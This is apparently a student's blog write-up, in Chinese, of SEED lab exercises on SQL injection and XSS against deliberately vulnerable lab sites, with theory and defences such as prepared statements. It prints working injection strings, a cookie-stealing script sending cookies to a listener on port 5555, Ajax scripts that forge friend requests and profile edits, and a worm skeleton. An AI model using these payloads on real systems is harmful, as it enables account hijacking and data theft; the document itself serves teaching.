第十次作业 Web应用程序安全攻防

1 实践内容

1.1 Web应用程序体系结构及其安全威胁

1.1.1 Web网络应用体系

目前一般就是指B/S("浏览器/服务器"模式)计算结构,其中浏览器主要完成数据显示与展示渲染,服务器主要完成业务计算处理,浏览器与服务器之间的通信通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。

基于Web的浏览器/服务器(B/S)三层体系结构将计算机应用分为三层:表示层、业务逻辑层和数据库服务层。

B/S三层体系结构模式下,客户端不再需要安装特定的客户端应用程序,取而代之的是通用的 Web 浏览器软件,所有的用户业务逻辑都被部署在新的中间层上。

新的中间层往往是一组公共网关接口(Common Gateway Interface CGI)程序,CGI程序接收Web浏览器发送的数据,按照业务逻辑对数据进行处理,并向浏览器返回处理结果。

B/S三层体系结构中,客户端浏览器只是负责数据的输入,客户端脚本程序对输入数据进行有效性验证,然后发送到服务器端。此时,Web服务器就不仅要发送网页,它还负责将网页发送给脚本引擎,以执行其中的脚本程序,这被视为是Web服务器的一种功能扩展,因此中间层又称为Web服务器层。

浏览器:使用HTTP/HTTPS协议,用来检索、展示以及传递Web信息资源的应用程序

Web服务器:网络服务器是网络环境下为客户提供某种服务的专用计算机

数据库:是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合

Web应用程序:一种可以通过Web访问的应用程序,程序的最大好处是用户很容易访问应用程序,用户只需要有浏览器即可,不需要再安装其他软件,最为常见的三层体系结构:

表示层:输入并显示结果。

业务逻辑层:需要数据层的协作,再将结果送回表示层。

数据层:以数据库或本地文件的形式,提供非易失的信息存储。

传输协议HTTP/HTTPSHTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/相应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。

流行的Web服务器软件主要分为两类:

MSWin200x Server/IIS/MS SQL/ ASP/ASP.NET

LAMP: Linux/Apache/MySQL/PHP

Web服务器平台中的安全漏洞

数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。

  • 服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache扩展组件模块都存在漏洞。
  • 样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。
  • 源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
  • 资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称的过程。

1.1.2 Web应用安全威胁

1)针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。

2)针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。

3)系统层安全威胁:Web站点的宿主操作系统。

4Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点。

5Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内。

1.2 Web应用安全攻防技术概述

1.2.1 Web应用攻击路线

1Web应用信息收集

2)攻击Web服务器软件

3)攻击Web应用程序

4)攻击Web数据内容

5)本地攻击

1.2.2 Web应用信息收集

1)手工审查Web应用程序结构与源代码

查看静态和动态生成的页面,主要查看源代码、 隐藏信息和动态页面中的页面命名规则等。

查看Web服务器的存储目录结构。

查看辅助性文件,包括CSS级联样式表、XML样式表、数据库字段结构、目录路径、输入参数以及数据库连接字符串。

输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。

查询参数字符串,复用以假冒其他用户、获取受限的数据、运行任意的系统命令等,提供了Web应用程序内部工作的信息。

2)自动下载与镜像Web站点页面:自动化上面的手工审查过程。

3Google Hacking技术审查与探测Web应用程序:Google利用GooglebotGoogle Search Engine已经帮我们下载并分析了几乎所有公开页面,Google的高级搜索与挖掘技巧可以在在大范围内搜索存有漏洞的Web应用程序。

4Web应用程序安全评估与漏洞审查容。

  • 针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。
  • 安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。

1.2.3 攻击Web服务器软件

1)流行的Web服务器软件主要分为两类:

MSWin200x Server/IIS/MS SQL/ ASP/ASP.NET

LAMP: Linux/Apache/MySQL/PHP

2Web服务器平台中的安全漏洞

  • 数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
  • 服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache扩展组件模块都存在漏洞。
  • 样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。
  • 源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
  • 资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称 的过程。

1.2.4 攻击Web应用程序

1Web应用程序的不安全性

Web应用程序编码质量和测试均有限:安全最薄弱环节。

Web应用的复杂性和灵活性进一步恶化了其安全性。

2Web应用程序安全威胁类型

  • 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。
  • 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
  • 客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。
  • 命令执行攻击:在web站点执行远程命令的攻击手段。
  • 信息暴露:获取web站点具体系统信息的攻击手段。
  • 逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。

1.2.5 攻击Web数据内容

1)安全敏感数据泄露

web服务器存在目录遍历漏洞或不安全的目录文件枚举配置。

利用web服务器的上传目录临时中转文件。

web站点公开的文档资料中包含个人隐私、企业秘密。

2)网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换,表达入侵成功或某种观点诉求。

3)不良信息内容上传:网站被攻陷后可能成为不良信息的存储和中转仓库。

1.2.6 Web应用安全防范措施

1Web站点网络传输安全设防措施:使用HTTPSSFTP等安全协议等。

2Web站点操作系统及服务安全设防措施:定期进行操作系统及服务的补丁更新、漏洞扫描等。

3Web应用程序安全设防措施:在设计时就应该谨慎考虑,并且要多设置日志信息。

4Web站点数据安全设防措施:提高个人的安全意识,提高系统的数据保护能力。

1.3 SQL注入攻击

1.3.1 代码注入攻击定义

1)代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。这并不适用于对应用程序客户端的代码注入攻击,例如 Javascript,那属于跨站脚本攻击(XSS)。源代码可以通过不可信的输入直接注入,或者网络应用程序在通过本地文件系统或类似 URL 这样的外部来源加载代码时被操纵。包含远程文件导致代码注入攻击的情况通常被称为远程文件包含漏洞,虽然远程文件包含攻击本身的目的就是为了注入代码。

1.3.2 SQL注入攻击原理

1SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程

1.3.3 SQL注入攻击例子

1)在用户名输入框中输入:' or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:select * from users where username='' or 1=1#' and password=md5('')语义分析:"#"在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:select * from users where username='' or 1=1#' and password=md5('')等价于select* from users where usrername='' or 1=1因为1=1永远是都是成立的,即where子句总是为真,将该sql进一步简化之后,等价于如下select语句:select * from users没错,该sql语句的作用是检索users表中的所有字段

2)上面是一种输入方法,这里再介绍一种注入的方法,这个方法又称PHP的万能密码,我们在已知用户名的条件下,可以不用密码即可登入,假设用户名:admin,构造语句:select * from users where username='admin'#' and password=md5('')等价于select * from users where username='admin'这样即可不能输入密码登入上去的。数据库就会错认为不用用户名既可以登入,绕过后台的验证,已到达注入的目的。

1.3.4 SQL注入攻击步骤

1)寻找注入点,构造特殊的语句,传入SQL语句可控参数分为两类

数字类型,参数不用被引号括起来,如id=1

其他类型,参数要被引号扩起来,name="phone"

2)用户构造SQL语句(如:'or 1=1#'

3)将SQL语句发送给DBMS数据库

4DBMS收到返回的结果,并将该请求解释成机器代码指令,执行必要得到操作

5DBMS接受返回结果,处理后,返回给用户,因为用户构造了特殊的SQL语句,必定返回特殊的结果

1.3.5 防御 SQL 注入攻击

1)防御 SQL 注入攻击可采用深度防御原则。在将数据用于SQL命令之前,应该进行验证,以确保它是我们期望的正确格式,并且在将数据包含在请求或绑定参数前,应该将其escape

1.4 XSS跨站脚本攻击

1.4.1 XSS攻击技术原理

(1)Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTMLJAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。

1.4.2 持久性XSS漏洞

1)漏洞形式: Web应用程序允许用户输入内容并持久保存并显示在网页上。

2)攻击方式: 攻击者通过利用跨站漏洞构建恶意脚本,对大量用户构成危害。

3)典型案例: 留言本/论坛/博客/wiki等。

1.4.3 非持久性XSS

1)攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email等方式将该攻击发送给其他用户。

2)用户点击登录连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面。

3)网站将会在反馈的欢迎页面中包含恶意客户端脚本。

4)攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌。

5)攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录进一步实施攻击。

1.4.4 XSS攻击防范措施

1)服务器端防范措施:"限制、拒绝、净化"

输入验证: 对用户提交数据进行尽可能严格的验证与过滤。

输出净化: HTMLEncode()方法。

消除危险的输入点。

2)客户端防范措施

提高浏览器访问非受信网站时的安全等级。

关闭Cookie功能,或设置Cookie只读。

建立安全意识和浏览习惯。

2 实践过程

2.1 SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。

2.1.1 熟悉SQL语句

我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

首先登录MySQL数据库。输入命令:"mysql -u root -pseedubuntu"。

然后输入命令:"use Users;",使用系统创建好的Users数据库,

接下来输入命令:"show tables;",查看该数据库下所有的表。

 

3)查看该数据库下所有的表,show tables;

发现这个数据库有一个名为"credential"的表。输入命令:"select * from credential;",查看"credential"表的详细信息。

2.1.2 对SELECT语句的SQL注入攻击

上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

在浏览器中输入网址:"www.SEEDLabSQLInjection.com"。

按快捷键组合:"Ctrl+U"可以查看该页面源码。

分析代码,可以看出:用户点击提交后,表单将用户输入的信息使用"get"方法提交至"unsafe_home.php"页面进行权限校验。

输入命令:"vim /var/www/SQLInjection/unsafe_home.php"打开之前分析结论的网站页面。发现其中代码存在可以进行SQL注入攻击的漏洞。

我们可以利用注释的特性。如果变量"$input_uname"的值为"Admin' #"。此时相关代码变成了:"WHERE name= 'Admin' #' and Password='$hashed_pwd'"。这就将"#"后面的语句进行了注释。此时等价于:"WHERE name= 'Admin'"。攻击完成,无需输入密码,可以直接进入Admin用户页面。

进行测设,成功登录,攻击成功。

2.1.3 对UPDATE语句的SQL注入攻击

通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

首先使用之前的SQL漏洞,输入用户名"Alice' #",用Alice的身份登录,可以看到对应的信息

点击 "Edit Profile"按钮进入更新信息页面。

输入命令:"vim /var/www/SQLInjection/unsafe_edit_backend.php"打开网页。找到相关的SQL语句,可以看出不能对工资进行修改。同时由上文可知Alice的编号是10000,变量"$input_nickname"对应用户在网页输入的"NickName"。

NickName文本框中输入":' salary='500000' where EID='10000';#"。此时变量"$input_nickname"发生改变,对应SQL语句变为:"$sql = "UPDATE credential SET nickname='' salary='500000' where EID='10000';"

实现了将Alice的工资变为500000,攻击成功。

2.1.4 SQL对抗

修复上述SQL注入攻击漏洞。

SQL注入漏洞存在根本问题。就是代码和数据不隔离。当构造SQL语句时,程序知道哪一部分是数据,哪一部分是数据是代码。但当SQL语句被发送到数据库时,却无法分辨。解决方案是使用预处理语句。预处理语句能防止SQL注入攻击。

unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。

将原来的语句:

"$sql = "UPDATE credential SET nickname='$input_nickname'email='$input_email'address='$input_address'PhoneNumber='$input_phonenumber' where ID=$id;";"

修改为:

"$sql = $conn->prepare("UPDATE credential SET nickname=?email=?address=?PhoneNumber=? where ID=$id;");$sql->bind_param("ssss" $input_nickname $input_email$input_address $input_phonenumber);"

2.2 SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为ElggWeb应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

2.2.1 发布恶意消息,显示警报窗口

在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

首先进入"http://www.xsslabelgg.com/profile/alice"页面,用Alice的账户登录。账户为:"alice",密码为:"seedalice"。

然后点击"Edit profile"按钮。在下面Brief description文本框输入语句:"<script>alert('xss');</script>",点击"Save"按钮保存。

发现出现了"XSS弹窗"。

最后登陆Boby用户。账户为:"boby",密码为:"seedboby"。查看Aliceprofile,发现弹出XSS弹窗。攻击成功。

2.2.2 弹窗显示cookie信息

cookie信息显示。

重新用Alice的账户登录。在AliceBrief description文本框输入:"<script>alert(document.cookie);</script>"。

登陆Boby用户。进入Alice的页面时弹出提示框,并且显示当前的cookie信息。攻击成功。

2.2.3 窃取受害者的cookies

使用JavaScript代码,将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。在AliceBrief description文本框输入:"<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + ' >');</script>"。

然后输入指令:"nc -l 5555 -v-l"使用nc监听5555端口。最后登录boby的账户,查看Aliceprofile。发现能够得到bobycookie信息。攻击成功。

2.2.4成为受害者的朋友

使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

首先登录Alice。访问用户Boby的主页:"http://www.xsslabelgg.com/profile/boby"。按快捷键组合"Ctrl+Shift+E"打开开发者模式Network页面。点击按钮"Add friend",添加Boby为好友。

Network界面看到此时发送了POST请求。地址为:"http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1652732078&__elgg_token=3ASOOswrgs2v6hn1uvEzIw"。

然后在AliceAbout me中写入如下字段:

<script type="text/javascript">

window.onload = function () {

var Ajax=null;

var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

var token="&__elgg_token="+elgg.security.token.__elgg_token;

 

var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;

Ajax=new XMLHttpRequest();

Ajax.open("GET"sendurltrue);

Ajax.setRequestHeader("Host""www.xsslabelgg.com");

Ajax.setRequestHeader("Content-Type""application/x-www-form-urlencoded");

Ajax.send();

}

</script>

最后登录Boby,访问Alice主页。再返回Boby主页,发现已添加Alice为好友。攻击成功。

2.2.4 修改受害者的信息

使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

进入Edit profile页面,点击按钮"Save",看到Network请求信息。

然后在AliceAbout me中写入如下字段:

<script type="text/javascript">

window.onload = function(){

var userName=elgg.session.user.name;

var guid="&guid="+elgg.session.user.guid;

var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

var token="&__elgg_token="+elgg.security.token.__elgg_token;

 

var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;

var sendurl = "http://www.xsslabelgg.com/action/profile/edit"

alert(content)

//FILL IN

var samyGuid=44;

//FILL IN

if(elgg.session.user.guid!=samyGuid)

{

var Ajax=null;

Ajax=new XMLHttpRequest();

Ajax.open("POST"sendurltrue);

Ajax.setRequestHeader("Host""www.xsslabelgg.com");

Ajax.setRequestHeader("Content-Type"

"application/x-www-form-urlencoded");

Ajax.send(content);

}

    }

</script>

登录Boby,访问Alice界面。再返回Boby主页,发现自我介绍已经改变。攻击成功。

2.2.5 编写XSS蠕虫。

使用DOM API的方法,编写XSS蠕虫。

AliceAbout me中写入如下字段:

<script id="worm" type ="text/javascript">

var headerTag = "<script id=\"worm\" type=\"text/javascript\">";

var jsCode = document.getElementById("worm").innerHTML;

var tailTag = "</" + "script>";

var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

alert(jsCode);

</script>

登录boby,访问Alice的主页。发现这段代码已经被成功的复制。攻击成功。

2.2.6 对抗XSS攻击

通过查阅资料,我们得知Elgg本身已经提供对抗XSS攻击的插件。

首先登录管理员账户。账户为:"admin",密码为:"seedelgg"。在"Account->administration->plugins"路径下,找到插件"HTMLawed"。该插件的主要作用是对用户的输入输出进行校验并且去除特定标签。

然后查看Alice的主页。可以出此时XSS攻击已失效。Alice中的恶意代码被当作about me文本展示。

3 学习中遇到的问题及解决

在使用about me文本框进行攻击的时候,需要将默认的"Edit HTML"改为"Visual editor"模式。否则攻击无法生效。

4 学习感想和体会

通过本次实验,我学习到了Web应用程序安全的基本原理和方法。对数据库有了更深入的认识,学习了基本的SQL语言,特别是SQL注入攻击。对Web应用程序安全有了进一步的认识。提高的自我学习的能力,让我受益匪浅。

posted @ 2022-05-20 19:35  戈壁胡杨  阅读(179)  评论(0编辑  收藏  举报